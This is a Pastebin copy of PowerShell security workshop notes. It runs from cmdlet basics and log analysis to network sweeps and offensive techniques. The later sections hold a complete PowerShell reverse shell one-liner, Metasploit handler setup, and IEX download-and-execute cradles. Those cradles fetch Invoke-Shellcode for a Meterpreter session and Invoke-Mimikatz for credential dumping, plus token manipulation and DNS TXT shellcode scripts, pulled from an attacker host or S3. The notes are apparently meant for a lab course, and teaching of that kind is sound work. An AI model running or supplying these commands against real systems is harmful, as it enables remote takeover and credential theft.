teskemj

PowerShell_Sec

Jan 9th, 2018
1,159
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Powershell Class Video:
  2. https://s3.amazonaws.com/StrategicSec-Videos/2015-10-31+09.04+Hacking+with+Powershell+Workshop.mp4
  3.  
  4.  
  5.  
  6. Old Powershell Video:
  7. https://s3.amazonaws.com/StrategicSec-Videos/_2015_6_10_rec-lw-us-4_255665_recording.mp4
  8.  
  9. Video Remake:
  10. https://s3.amazonaws.com/StrategicSec-Videos/_2015_7_11_rec-lw-us-10_267797_recording.mp4
  11.  
  12.  
  13. #######################
  14. # VMs for this course #
  15. #######################
  16. https://s3.amazonaws.com/StrategicSec-VMs/Win7x64.zip
  17.     username: workshop
  18.     password: password
  19.    
  20. https://s3.amazonaws.com/StrategicSec-VMs/StrategicsecUbuntu14.zip
  21.     username: strategicsec
  22.     password: strategicsec 
  23.  
  24. You can do the updates in the Win7 VM (yes, it is a lot of updates).
  25.  
  26. You'll need to create directory in the Win7 VM called "c:\ps"
  27.  
  28. In this file you will also need to change the text 'Strategic-Sec-Ubuntu-VM-IP' to the IP address of your Ubuntu host.
  29.  
  30.  
  31.  
  32. #####################
  33. # Powershell Basics #
  34. #####################
  35.  
  36. PowerShell is Microsoft’s new scripting language that has been built in since the release Vista.
  37.  
  38. PowerShell file extension end in .ps1 .
  39.  
  40. An important note is that you cannot double click on a PowerShell script to execute it.
  41.  
  42. To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
  43.  
  44. dir
  45. cd
  46. ls
  47. cd c:\
  48.  
  49.  
  50. To obtain a list of cmdlets, use the Get-Command cmdlet
  51.  
  52. Get-Command
  53.  
  54.  
  55.  
  56. You can use the Get-Alias cmdlet to see a full list of aliased commands.
  57.  
  58. Get-Alias
  59.  
  60.  
  61.  
  62. Don't worry you won't blow up your machine with Powershell
  63. Get-Process | stop-process              What will this command do?
  64. Get-Process | stop-process -whatif
  65.  
  66.  
  67. To get help with a cmdlet, use the Get-Help cmdlet along with the cmdlet you want information about.
  68.  
  69. Get-Help Get-Command
  70.  
  71. Get-Help Get-Service –online
  72.  
  73. Get-Service -Name TermService, Spooler
  74.  
  75. Get-Service –N BITS
  76.  
  77. Start-Transcript
  78.  
  79. PowerShell variables begin with the $ symbol. First lets create a variable
  80.  
  81. $serv = Get-Service –N Spooler
  82.  
  83. To see the value of a variable you can just call it in the terminal.
  84.  
  85. $serv
  86.  
  87. $serv.gettype().fullname
  88.  
  89.  
  90. Get-Member is another extremely useful cmdlet that will enumerate the available methods and properties of an object. You can pipe the object to Get-Member or pass it in
  91.  
  92. $serv | Get-Member
  93.  
  94. Get-Member -InputObject $serv
  95.  
  96.  
  97.  
  98.  
  99.  
  100. Let’s use a method and a property with our object.
  101.  
  102. $serv.Status
  103. $serv.Stop()
  104. $serv.Refresh()
  105. $serv.Status
  106. $serv.Start()
  107. $serv.Refresh()
  108. $serv.Status
  109.  
  110.  
  111.  
  112.  
  113. Methods can return properties and properties can have sub properties. You can chain them together by appending them to the first call.
  114.  
  115.  
  116.  
  117. #############################
  118. # Simple Event Log Analysis #
  119. #############################
  120.  
  121. Step 1: Dump the event logs
  122. ---------------------------
  123. The first thing to do is to dump them into a format that facilitates later processing with Windows PowerShell.
  124.  
  125. To dump the event log, you can use the Get-EventLog and the Exportto-Clixml cmdlets if you are working with a traditional event log such as the Security, Application, or System event logs.
  126. If you need to work with one of the trace logs, use the Get-WinEvent and the ExportTo-Clixml cmdlets.
  127.  
  128. Get-EventLog -LogName application | Export-Clixml Applog.xml
  129.  
  130. type .\Applog.xml
  131.  
  132. $logs = "system","application","security"
  133.  
  134. The % symbol is an alias for the Foreach-Object cmdlet. It is often used when working interactively from the Windows PowerShell console
  135.  
  136. $logs | % { get-eventlog -LogName $_ | Export-Clixml "$_.xml" }
  137.  
  138.  
  139.  
  140. Step 2: Import the event log of interest
  141. ----------------------------------------
  142. To parse the event logs, use the Import-Clixml cmdlet to read the stored XML files.
  143. Store the results in a variable.
  144. Let's take a look at the commandlets Where-Object, Group-Object, and Select-Object.
  145.  
  146. The following two commands first read the exported security log contents into a variable named $seclog, and then the five oldest entries are obtained.
  147.  
  148. $seclog = Import-Clixml security.xml
  149.  
  150. $seclog | select -Last 5
  151.  
  152.  
  153. Cool trick from one of our students named Adam. This command allows you to look at the logs for the last 24 hours:
  154.  
  155. Get-EventLog Application -After (Get-Date).AddDays(-1)
  156.  
  157. You can use '-after' and '-before' to filter date ranges
  158.  
  159. One thing you must keep in mind is that once you export the security log to XML, it is no longer protected by anything more than the NFTS and share permissions that are assigned to the location where you store everything.
  160. By default, an ordinary user does not have permission to read the security log.
  161.  
  162.  
  163. Step 3: Drill into a specific entry
  164. -----------------------------------
  165. To view the entire contents of a specific event log entry, choose that entry, send the results to the Format-List cmdlet, and choose all of the properties.
  166.  
  167.  
  168. $seclog | select -first 1 | fl *
  169.  
  170. The message property contains the SID, account name, user domain, and privileges that are assigned for the new login.
  171.  
  172.  
  173. ($seclog | select -first 1).message
  174.  
  175. (($seclog | select -first 1).message).gettype()
  176.  
  177.  
  178.  
  179. In the *nix world you often want a count of something (wc -l).
  180. How often is the SeSecurityPrivilege privilege mentioned in the message property?
  181. To obtain this information, pipe the contents of the security log to a Where-Object to filter the events, and then send the results to the Measure-Object cmdlet to determine the number of events:
  182.  
  183. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | measure
  184.  
  185. If you want to ensure that only event log entries return that contain SeSecurityPrivilege in their text, use Group-Object to gather the matches by the EventID property.
  186.  
  187.  
  188. $seclog | ? { $_.message -match 'SeSecurityPrivilege'} | group eventid
  189.  
  190. Because importing the event log into a variable from the stored XML results in a collection of event log entries, it means that the count property is also present.
  191. Use the count property to determine the total number of entries in the event log.
  192.  
  193. $seclog.Count
  194.  
  195.  
  196.  
  197.  
  198.  
  199.  
  200. ############################
  201. # Simple Log File Analysis #
  202. ############################
  203.  
  204.  
  205. You'll need to create the directory c:\ps and download sample iss log http://pastebin.com/raw.php?i=LBn64cyA
  206.  
  207.  
  208. mkdir c:\ps
  209. cd c:\ps
  210. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  211.  
  212.  
  213.  
  214.  
  215.    
  216.    
  217.    
  218.  
  219. ###############################################
  220. # Intrusion Analysis Using Windows PowerShell #
  221. ###############################################
  222.  
  223. Download sample file http://pastebin.com/raw.php?i=ysnhXxTV into the c:\ps directory
  224.  
  225.  
  226.  
  227.  
  228.  
  229. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=ysnhXxTV", "c:\ps\CiscoLogFileExamples.txt")
  230.  
  231. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt
  232.  
  233.  
  234.  
  235.  
  236. The Select-String cmdlet searches for text and text patterns in input strings and files. You can use it like Grep in UNIX and Findstr in Windows.
  237.  
  238. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line
  239.  
  240.  
  241.  
  242.  
  243. To see how many connections are made when analyzing a single host, the output from that can be piped to another command: Measure-Object.
  244.  
  245. Select-String 192.168.208.63 .\CiscoLogFileExamples.txt | select line | Measure-Object
  246.  
  247.  
  248.  
  249. To select all IP addresses in the file expand the matches property, select the value, get unique values and measure the output.
  250.  
  251. Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique | Measure-Object
  252.  
  253.  
  254.  
  255. Removing Measure-Object shows all the individual IPs instead of just the count of the IP addresses. The Measure-Object command counts the IP addresses.
  256.  
  257. Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select -ExpandProperty value | Sort-Object -Unique
  258.  
  259.  
  260. In order to determine which IP addresses have the most communication the last commands are removed to determine the value of the matches. Then the group command is issued on the piped output to group all the IP addresses (value), and then sort the objects by using the alias for Sort-Object: sort count –des.
  261. This sorts the IP addresses in a descending pattern as well as count and deliver the output to the shell.
  262.  
  263. Select-String “\b(?:\d{1,3}\.){3}\d{1,3}\b” .\CiscoLogFileExamples.txt | select -ExpandProperty matches | select value | group value | sort count -des
  264.  
  265.  
  266.  
  267.  
  268. This will get the setting for logs in the windows firewall which should be enabled in GPO policy for analysis.
  269. The command shows that the Firewall log is at:
  270. %systemroot%\system32\LogFiles\Firewall\pfirewall.log, in order to open the file PowerShell will need to be run with administrative privileges.
  271.  
  272.  
  273. First step is to get the above command into a variable using script logic.
  274. Thankfully PowerShell has a built-in integrated scripting environment, PowerShell.ise.
  275.  
  276. netsh advfirewall show allprofiles | Select-String FileName | select -ExpandProperty line | Select-String “%systemroot%.+\.log" | select -ExpandProperty matches | select -ExpandProperty value | sort –uniq
  277.  
  278.  
  279. ##############################################
  280. # Parsing Log files using windows PowerShell #
  281. ##############################################
  282.  
  283. Download the sample IIS log http://pastebin.com/LBn64cyA
  284.  
  285.  
  286. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=LBn64cyA", "c:\ps\u_ex1104.log")
  287.  
  288. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV")}  
  289.  
  290.  
  291.  
  292. The above command would give us all the WebDAV requests.
  293.  
  294. To filter this to a particular user name, use the below command:
  295.  
  296. Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "OPTIONS")}  
  297.  
  298.  
  299.  
  300. Some more options that will be more commonly required :
  301.  
  302. For Outlook Web Access : Replace WebDAV with OWA
  303.  
  304. For EAS : Replace WebDAV with Microsoft-server-activesync
  305.  
  306. For ECP : Replace WebDAV with ECP
  307.  
  308.  
  309.  
  310. To find out the count of the EWS request we can go ahead and run the below command
  311.  
  312. (Get-Content ".\*log" | ? { ($_ | Select-String "WebDAV") -and ($_ | Select-String "Useralias")}).count
  313.  
  314.  
  315.  
  316.  
  317.  
  318. ####################################################################
  319. # Windows PowerShell: Extracting Strings Using Regular Expressions #
  320. ####################################################################
  321. To build a script that will extract data from a text file and place the extracted text into another file, we need three main elements:
  322.  
  323. 1) The input file that will be parsed
  324.  
  325. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=rDN3CMLc", "c:\ps\emails.txt")
  326. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=XySD8Mi2", "c:\ps\ip_addresses.txt")
  327. (new-object System.Net.WebClient).DownloadFile("http://pastebin.com/raw.php?i=v5Yq66sH", "c:\ps\URL_addresses.txt")
  328.  
  329. 2) The regular expression that the input file will be compared against
  330.  
  331. 3) The output file for where the extracted data will be placed.
  332.  
  333. Windows PowerShell has a “select-string” cmdlet which can be used to quickly scan a file to see if a certain string value exists.
  334. Using some of the parameters of this cmdlet, we are able to search through a file to see whether any strings match a certain pattern, and then output the results to a separate file.
  335.  
  336. To demonstrate this concept, below is a Windows PowerShell script I created to search through a text file for strings that match the Regular Expression (or RegEx for short) pattern belonging to e-mail addresses.
  337.  
  338. $input_path = ‘c:\ps\emails.txt’
  339. $output_file = ‘c:\ps\extracted_addresses.txt’
  340. $regex = ‘\b[A-Za-z0-9._%-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}\b’
  341. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  342.  
  343. In this script, we have the following variables:
  344.  
  345. 1) $input_path to hold the path to the input file we want to parse
  346.  
  347. 2) $output_file to hold the path to the file we want the results to be stored in
  348.  
  349. 3) $regex to hold the regular expression pattern to be used when the strings are being matched.
  350.  
  351. The select-string cmdlet contains various parameters as follows:
  352.  
  353. 1) “-Path” which takes as input the full path to the input file
  354.  
  355. 2) “-Pattern” which takes as input the regular expression used in the matching process
  356.  
  357. 3) “-AllMatches” which searches for more than one match (without this parameter it would stop after the first match is found) and is piped to “$.Matches” and then “$_.Value” which represent using the current values of all the matches.
  358.  
  359. Using “>” the results are written to the destination specified in the $output_file variable.
  360.  
  361. Here are two further examples of this script which incorporate a regular expression for extracting IP addresses and URLs.
  362.  
  363. IP addresses
  364. ------------
  365. For the purposes of this example, I ran the tracert command to trace the route from my host to google.com and saved the results into a file called ip_addresses.txt. You may choose to use this script for extracting IP addresses from router logs, firewall logs, debug logs, etc.
  366.  
  367. $input_path = ‘c:\ps\ip_addresses.txt’
  368. $output_file = ‘c:\ps\extracted_ip_addresses.txt’
  369. $regex = ‘\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b’
  370. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  371.  
  372.  
  373. URLs
  374. ----
  375. For the purposes of this example, I created a couple of dummy web server log entries and saved them into URL_addresses.txt.
  376. You may choose to use this script for extracting URL addresses from proxy logs, network packet capture logs, debug logs, etc.
  377.  
  378. $input_path = ‘c:\ps\URL_addresses.txt’
  379. $output_file = ‘c:\ps\extracted_URL_addresses.txt’
  380. $regex = ‘([a-zA-Z]{3,})://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?’
  381. select-string -Path $input_path -Pattern $regex -AllMatches | % { $_.Matches } | % { $_.Value } > $output_file
  382.  
  383.  
  384. In addition to the examples above, many other types of strings can be extracted using this script.
  385. All you need to do is switch the regular expression in the “$regex” variable!
  386. In fact, the beauty of such a PowerShell script is its simplicity and speed of execution.
  387.  
  388.  
  389.  
  390. #################################
  391. # Packet Sniffer For Powershell #
  392. #################################
  393.  
  394. Reference:
  395. http://poshcode.org/764
  396. http://blog.robbiefoust.com/?p=68
  397. http://blog.robbiefoust.com/?p=9
  398.  
  399. I was looking for a Powershell script that would capture raw IP packets on the network and shove them into an object, but the only one I was able to find was a commercial cmdlet that was out of my budget. So, I decided that I would attempt to write my own. I figured it would be a great learning exercise (and it was), but I went into the project with the goal of avoiding any 3rd party software, to avoid compiling anything (like a cmdlet written in C#), and I didn’t want to install a driver shim. In other words, I wanted a plain ‘ol script that could be run on any computer.
  400.  
  401. I basically spent a lot of time googling and I got a lot of help from the guys over in the #Powershell IRC channel (irc.freenode.net). All of that combined with trial-and-error, I give you…. *drumroll* get-packet.ps1.
  402.  
  403. The script recognizes IPv4 TCP, UDP, ICMP, and IGMP packets (for now). The thing that took me the longest amount of time trying to figure out was how to get all packets that the network card was seeing on the wire, not just packets destined for my IP address and a particular port number. The solution was hard to find but wasn’t terribly difficult to understand.
  404.  
  405. # Create a new socket... SocketType should be Raw, and ProtocolType must be IP for promiscuous mode.
  406. $socket = new-object system.net.sockets.socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP)
  407.  
  408. # Include the IP header so we get the full packet
  409. $socket.setsocketoption("IP","HeaderIncluded",$true)
  410.  
  411. # bind to a local IP address$ipendpoint = new-object system.net.ipendpoint([net.ipaddress]"$localIP",0)$socket.bind($ipendpoint)
  412.  
  413. # this switches the NIC driver into promiscuous mode.  This requires admin rights.
  414. [void]$socket.iocontrol([net.sockets.iocontrolcode]::ReceiveAll,$byteIn,$byteOut)
  415. I read somewhere that .net sockets really just uses winsock under the hood, so it really helped my understanding to read both the winsock and dotnet documentation regarding sockets on msdn. I won’t bother repeating what that documentation says here but if you’re trying to decypher this script and can’t quite figure it out, feel free to ask questions and I’ll try to explain.
  416.  
  417. Something else that I probably knew at one point but had since forgotten was that the byte order on the network wire is reversed. On the wire it is “Big Endian” and on the PC it is “Little Endian.” Wikipedia has a great explanation on Endianness. Figuring out how to interpret the IP packets was the next biggest time suck and endianness was a large part of it. Once I realized that NetworkToHostOrder didn’t support unsigned ints, I simply wrote a few functions to reverse the byte order (from “Network” to “Host”) and used BitConverter to return the correct data type.
  418.  
  419. # Takes a 2 byte array, switches it from big endian to little endian, and converts it to uint16.
  420. function NetworkToHostUInt16 ($value) { [Array]::Reverse($value) [BitConverter]::ToUInt16($value,0) }
  421.  
  422. # Takes a 4 byte array, switches it from big endian to little endian, and converts it to uint32.
  423. function NetworkToHostUInt32 ($value) { [Array]::Reverse($value) [BitConverter]::ToUInt32($value,0) }
  424.  
  425. # Takes a byte array, switches it from big endian to little endian, and converts it to a string.
  426. function ByteToString ($value) { $AsciiEncoding = new-object system.text.asciiencoding $AsciiEncoding.GetString($value) }
  427. After getting all the data out of the packets, I shove the ones I really want into a psobject. When running the script, it will be visually more appealing if you pipe the output to format-table.
  428.  
  429. PS C:\> ./get-packet.ps1 | ft
  430. There are a lot more protocol types that I could be looking for, and I’ll probably add some of the more common ones eventually. I’ve also looked into adding support to export and import the libpcap file format, but after looking at the libpcap source code, there’s a lot of ugly in there that I might just avoid for now.
  431.  
  432. quick way to done this is
  433.  
  434. (new-object System.Net.WebClient).DownloadFile("http://poshcode.org/get/764", "c:\ps\get-packet.ps1")
  435. PS C:\> ./get-packet.ps1 | ft
  436.  
  437. try to open some web page
  438.  
  439.  
  440. ###################
  441. # Pentester Tasks #
  442. ###################
  443. Reference:
  444. http://blogs.technet.com/b/heyscriptingguy/archive/2012/07/02/use-powershell-for-network-host-and-port-discovery-sweeps.aspx
  445.  
  446.  
  447. Listing IPs
  448. One of the typical ways for working with IP addressed in most scripts is to work with an octet and then increase the last one
  449.  
  450. $octect = "192.168.6."
  451. $lastoctect = (1..255)
  452. $lastoctect | ForEach-Object {write-host "$($octect)$($_)"}
  453.  
  454. Ping Sweep
  455. PowerShell provides several methods for doing Ping
  456. Test-Connection cmdlet
  457. Creation of a WMI Object
  458. .Net System.Net.NetworkInformation.Ping Object
  459.  
  460. function New-IPRange ($start, $end) {
  461. $ip1 = ([System.Net.IPAddress]$start).GetAddressBytes()
  462. [Array]::Reverse($ip1)
  463. $ip1 = ([System.Net.IPAddress]($ip1 -join '.')).Address
  464.  
  465. $ip2 = ([System.Net.IPAddress]$end).GetAddressBytes()
  466. [Array]::Reverse($ip2)
  467. $ip2 = ([System.Net.IPAddress]($ip2 -join '.')).Address
  468.  
  469. for ($x=$ip1; $x -le $ip2; $x++) {
  470. $ip = ([System.Net.IPAddress]$x).GetAddressBytes()
  471. [Array]::Reverse($ip)
  472. $ip -join '.'
  473. }
  474. }
  475. $ping = New-Object System.Net.NetworkInformation.Ping
  476. New-IPRange 192.168.6.1 192.168.6.150 | ForEach-Object {$ping.Send($_, 100)} | where {$_.status -eq "Success"}
  477.  
  478. Reverse Lookups
  479. For reverse lookups using .Net Class we use the [System.Net.Dns]::GetHostEntry(IP) method Returns System.Net.IPHostEntry
  480.  
  481. [System.Net.Dns]::GetHostByAddress("204.244.123.113")
  482.  
  483.  
  484. Forward Lookups
  485.  
  486. [System.Net.Dns]::GetHostAddresses("www.google.com")
  487.  
  488. Port Scans
  489. To test if a port is open on a remote host in PowerShell the best method is to use the .Net abstraction that it provides to Windows Socket library
  490. For TCP the .Net System.Net.Sockets.TcpClient
  491. For UDP the .Net System.Net.Sockets.UdpClient
  492. TCP Scan
  493.  
  494. $ports=22,80
  495. $target = "Strategic-Sec-Ubuntu-VM-IP"
  496. foreach ($i in $ports) {
  497. try {
  498. $socket = new-object System.Net.Sockets.TCPClient($target, $i);
  499. } catch {}
  500. if ($socket -eq $NULL) {
  501. echo "$target:$i - Closed";
  502. } else {
  503. echo "$target:$i - Open";
  504. $socket = $NULL;
  505. }}
  506.  
  507.  
  508. PARSING NMAP RESULT
  509. Run Powershell as administrator
  510.  
  511. cd C:\
  512.  
  513. Get-ExecutionPolicy
  514. Set-ExecutionPolicy Unrestricted –Force
  515.  
  516.  
  517.  
  518. Parse nmap XML
  519. .\parse-nmap.ps1 samplescan.xml
  520.  
  521. Process all XML files
  522.  
  523. .\parse-nmap.ps1 *.xml
  524.  
  525. Piping also works
  526. dir *.xml | .\parse-nmap.ps1
  527.  
  528. Advanced parsing with filtering conditions
  529. .\parse-nmap.ps1 samplescan.xml | where {$_.OS -like "*Windows XP*"} | format-table IPv4,HostName,OS
  530.  
  531. More parsing
  532. .\parse-nmap.ps1 samplescan.xml | where {$_.Ports -like "*open:tcp:22*"}
  533.  
  534. Parsing with match and multiple conditions
  535. .\parse-nmap.ps1 samplescan.xml |where {$_.Ports -match "open:tcp:80|open:tcp:443"}
  536.  
  537. CSV Export
  538. .\parse-nmap.ps1 samplescan.xml -outputdelimiter " " | where {$_.Ports -match "open:tcp:80"} | export-csv weblisteners.csv
  539.  
  540. Import Data from CSV
  541. $data = import-csv weblisteners.csv
  542. $data | where {($_.IPv4 -like "10.57.*") -and ($_.Ports -match "open:tcp:22")}
  543.  
  544. Export to HTML
  545. .\parse-nmap.ps1 samplescan.xml -outputdelimiter " " |select-object IPv4,HostName,OS | ConvertTo-Html | out-file report.html
  546.  
  547.  
  548.  
  549.  
  550. Nessus with PowerShell
  551.  
  552. Let’s take a look at the Import-Csv cmdlet and what are the members of the object it returns:
  553.  
  554. Import-Csv C:\class_nessus.csv | Get-Member
  555.  
  556. filter the objects:
  557.  
  558. Import-Csv C:\class_nessus.csv | where {$_.risk -eq "high"}
  559.  
  560. use the Select-Object cmdlet and only get unique entries:
  561.  
  562. Import-Csv C:\class_nessus.csv | where {$_.risk -eq "high"} | select host -Unique
  563.  
  564. Import-Csv C:\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | Out-GridView
  565.  
  566.  
  567. ConvertTo-Html cmdlet and turn it in to an HTML report in list format:
  568.  
  569. Import-Csv C:\class_nessus.csv | where {"high","medium","low" -contains $_.risk} | select "Plugin ID", CVE, CVSS, Risk, Host, Protocol, Port, Name | ConvertTo-Html -As List > C:\report2.html
  570.  
  571.  
  572.  
  573.  
  574.  
  575. ****************************
  576. Reverseshell with PowerShell
  577. ****************************
  578. nc -lvp 1234            (command prompt 1)
  579.  
  580.  
  581.                 (command prompt 2)
  582. powershell -command "function ReverseShellClean {if ($client.Connected -eq $true) {$client.Close()};  if ($process.ExitCode -ne $null) {$process.Close()};  exit;  };$address = '127.0.0.1';  $port = '1234';$client = New-Object system.net.sockets.tcpclient; $client.connect($address,$port) ;$stream = $client.GetStream();$networkbuffer = New-Object System.Byte[] $client.ReceiveBufferSize  ;$process = New-Object System.Diagnostics.Process  ;$process.StartInfo.FileName = 'C:\\windows\\system32\\cmd.exe'  ;$process.StartInfo.RedirectStandardInput = 1  ;$process.StartInfo.RedirectStandardOutput = 1;$process.StartInfo.UseShellExecute = 0  ;$process.Start()  ;$inputstream = $process.StandardInput  ;$outputstream = $process.StandardOutput  ;Start-Sleep 1  ;$encoding = new-object System.Text.AsciiEncoding  ;while($outputstream.Peek() -ne -1){$out += $encoding.GetString($outputstream.Read())};$stream.Write($encoding.GetBytes($out),0,$out.Length)  ;$out = $null; $done = $false; $testing = 0; ;while (-not $done) {if ($client.Connected -ne $true) {cleanup}  ;$pos = 0; $i = 1;  while (($i -gt 0) -and ($pos -lt $networkbuffer.Length)) { $read = $stream.Read($networkbuffer,$pos,$networkbuffer.Length - $pos);  $pos+=$read; if ($pos -and ($networkbuffer[0..$($pos-1)] -contains 10)) {break}}  ;if ($pos -gt 0){ $string = $encoding.GetString($networkbuffer,0,$pos);  $inputstream.write($string);  start-sleep 1;  if ($process.ExitCode -ne $null) {ReverseShellClean};else {  $out = $encoding.GetString($outputstream.Read()); while($outputstream.Peek() -ne -1){;  $out += $encoding.GetString($outputstream.Read()); if ($out -eq $string) {$out = ''}};  $stream.Write($encoding.GetBytes($out),0,$out.length);  $out = $null;  $string = $null}} else {ReverseShellClean}};"
  583.  
  584.  
  585. ####################################################
  586. # Running Powershell From A Command Prompt         #
  587. # Using Powersploit & Nishang                      #
  588. ####################################################
  589.  
  590. COMMAND & 1 PARAMATER SYNTAX:      
  591.     powershell -command "& {&'some-command' someParam}"
  592.  
  593.  
  594.  
  595. MULTIPLE COMMAND & PARAMETER SYNTAX
  596.     powershell -command "& {&'some-command' someParam}"; "& {&'some-command' -SpecificArg someParam}"
  597.  
  598.  
  599.  
  600. Tools to download to the web root (/var/www) of your StrategicSec-Ubuntu-VM:
  601. https://github.com/mattifestation/PowerSploit.git
  602. https://github.com/samratashok/nishang
  603.  
  604. from the strategicsec home dir copy nc.exe to /var/www/ folder
  605.  
  606. user:strategicsec
  607. pass:strategicsec
  608.  
  609. sudo cp nc.exe. /var/www
  610.  
  611. cd /var/www
  612. sudo git clone https://github.com/samratashok/nishang
  613. sudo git clone https://github.com/mattifestation/PowerSploit
  614.  
  615.  
  616. ********************************** Simple Ping Sweep **********************************
  617. powershell -command "50..100 | % {\""192.168.6.$($_): $(Test-Connection -count 1 -comp 192.168.6.$($_) -quiet)\""}"
  618.  
  619.  
  620.  
  621.  
  622.  
  623. ********************************** Simple Port 445 Sweep **********************************
  624. powershell -command "1..255 | % { echo ((new-object Net.Sockets.TcpClient).Connect(\""192.168.6.$_\"",445)) \""192.168.6.$_\""} 2>$null"
  625.  
  626.  
  627.  
  628.  
  629.  
  630.  
  631. ********************************** Simple Port Scan **********************************
  632. powershell -command "1..1024 | % { echo ((new-object Net.Sockets.TcpClient).Connect(\""192.168.6.XX\"",$_)) \""$_ is open\""} 2>$null"
  633.  
  634.  
  635.  
  636.  
  637.  
  638.  
  639. ********************************** Download a file **********************************
  640. powershell -command "(New-Object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nc.exe', 'nc.exe’)"
  641.  
  642.  
  643.  
  644.  
  645.  
  646. ********************************** Downloading files: Binaries **********************************
  647. powershell -command "(New-ObjectSystem.Net.WebClient).DownloadFile("http://Strategic-Sec-Ubuntu-VM-IP/nc.exe","c:\nc.exe“)"
  648.  
  649.  
  650.  
  651.  
  652.  
  653. ********************************** Text file stdout to local file  **********************************
  654. (New-Object System.Net.WebClient).DownloadString("http://Strategic-Sec-Ubuntu-VM-IP/PowerSploit/CodeExecution/Invoke-Shellcode.ps1") | Out-File -Encoding ASCII Invoke-Shellcode.ps1
  655.  
  656.  
  657.  
  658.  
  659. ********************************** Powershell Download & Execute Reverse Meterpreter **********************************
  660. from ubuntu host browse to metasploit folder
  661. cd ~/toolz/metasploit/
  662.  
  663. sudo ./msfconsole
  664. use exploit/multi/handler
  665. set ExitOnSession false
  666. set payload windows/meterpreter/reverse_https
  667. set LHOST Strategic-Sec-Ubuntu-VM-IP
  668. set LPORT 443
  669. set EXITFUNC thread
  670. exploit -j
  671.  
  672.  
  673.  
  674. powershell -command "IEX (New-Object Net.WebClient).DownloadString('https://s3.amazonaws.com/StrategicSec-Files/Powersploit/Invoke-Shellcode.ps1'); Invoke-Shellcode -Payload windows/meterpreter/reverse_https -Lhost Strategic-Sec-Ubuntu-VM-IP -Lport 443 -Force"
  675.  
  676.  
  677.  
  678.  
  679.  
  680. ********************************** Payload which could execute shellcode from DNS TXT queries. **********************************
  681. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nishang/Execution/Execute-DNSTXT-Code.ps1','%TEMP%\Execute-DNSTXT-Code.ps1')
  682. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Execute-DNSTXT-Code.ps1 32.alteredsecurity.com 64.alteredsecurity.com ns8.zoneedit.com
  683.  
  684.  
  685.  
  686.  
  687.  
  688.  
  689. powershell -command "IEX (New-Object Net.WebClient).DownloadString('http://Strategic-Sec-Ubuntu-VM-IP/powersploit/Exfiltration/Invoke-Mimikatz.ps1') ; Invoke-Mimikatz"
  690.  
  691.  
  692.  
  693.  
  694.  
  695.  
  696.  
  697.  
  698.  
  699. ********************************** Run mimikatz via powershell  (must be run as SYSTEM) **********************************
  700. powershell -command "IEX (New-Object Net.WebClient).DownloadString('https://s3.amazonaws.com/StrategicSec-Files/Powersploit/Invoke-Mimikatz.ps1') | Out-File -Encoding ASCII Invoke-Mimikatz.ps1; Import-Module .\Invoke-Mimikatz.ps1 ; Invoke-Mimikatz"
  701.  
  702.  
  703.  
  704.  
  705.  
  706. ********************************** Token Manipulation to escalate (must be run as an Administrator) **********************************
  707. powershell -command "IEX (New-Object Net.WebClient).DownloadString('http://Strategic-Sec-Ubuntu-VM-IP/powersploit/Exfiltration/Invoke-TokenManipulation.ps1') ; Invoke-TokenManipulation"
  708.  
  709. powershell -command "IEX (New-Object Net.WebClient).DownloadString('https://s3.amazonaws.com/StrategicSec-Files/Powersploit/Invoke-TokenManipulation.ps1') | Out-File -Encoding ASCII Invoke-TokenManipulation.ps1; Import-Module .\Invoke-TokenManipulation.ps1 ; Invoke-TokenManipulation"
  710.  
  711.  
  712.  
  713.  
  714.  
  715.  
  716.  
  717.  
  718. ********************************** Nihsang payload which Scan IP-Addresses, Ports and HostNames **********************************
  719. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nishang/Invoke-PingSweep.ps1','%TEMP%\Invoke-PingSweep.ps1')
  720. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Invoke-PingSweep.ps1 -StartAddress 192.168.6.50 -EndAddress 192.168.6.100 -ResolveHost -ScanPort
  721.  
  722.  
  723.  
  724.  
  725.  
  726.  
  727. ********************************** Nihsang payload which Scan IP-Addresses, Ports and HostNames **********************************
  728. powershell.exe (new-object System.Net.WebClient).DownloadFile('http://Strategic-Sec-Ubuntu-VM-IP/nishang/Port-Scan.ps1','%TEMP%\Port-Scan.ps1')
  729. powershell.exe -ExecutionPolicy Bypass -command %TEMP%\Port-Scan.ps1 -StartAddress 192.168.6.50 -EndAddress 192.168.6.100 -ResolveHost -ScanPort
  730.  
  731.  
  732.  
  733.  
  734.  
  735. ********************************** Nishang Payload which gathers juicy information from the target. **********************************
